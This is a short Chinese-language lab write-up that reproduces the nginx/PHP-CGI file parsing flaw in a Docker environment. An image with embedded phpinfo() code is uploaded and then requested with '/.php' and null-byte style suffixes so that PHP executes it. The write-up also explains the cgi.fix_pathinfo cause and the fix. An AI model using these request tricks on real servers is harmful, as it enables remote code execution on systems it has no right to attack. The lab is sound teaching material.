nginx文件解析漏洞

nginx文件解析漏洞实验

1、布置实验环境

cd nginx_parsing_vulnerability/
docker-compose up -d
systemctl stop firewalld
iptables -F

找个图片，写个phpinfo()到里面

上传

告诉你存储路径

访问图片

http://192.168.39.133/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png/.php

http://192.168.39.133/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png/%20/0.php

192.168.39.133/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png/00%/0.php

漏洞解析

当cgi.fix_pathinfo=1的情况，这种情况服务器就比较智能了，服务器会自动判断哪个是真正的文件，把真正的文件交给php-cgi来解析。同时把文件的后面的数据保存在环境变量$_SERVER['PATH_INFO']中。

nginx的配置文件

server {
  listen 80 default_server;
  listen [::]:80 default_server;
  
  root /usr/share/nginx/html;
  
  index index.html index.php;
  
  server_name _;
  
  location / {
    try_files $uri $uri/ =404;
  }
  
  location ~ \.php$ {
    fastcgi_index index.php;
    
    include fastcgi_params;
    
    fastcgi_param  REDIRECT_STATUS    200;
    fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
    fastcgi_pass php:9000;
  }

将# php.ini
中的cgi.fix_pathinfo=1改为0（在不影响业务的情况下）

参考解析：https://blog.csdn.net/rpsate/article/details/120603737?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166069667616781685330736%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=166069667616781685330736&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_allsobaiduend~default-2-120603737-null-null.142^v41pc_rank_34,185^v2control&utm_term=nginx_parsing_vulnerability&spm=1018.2226.3001.4187

移除环境

docker-compose down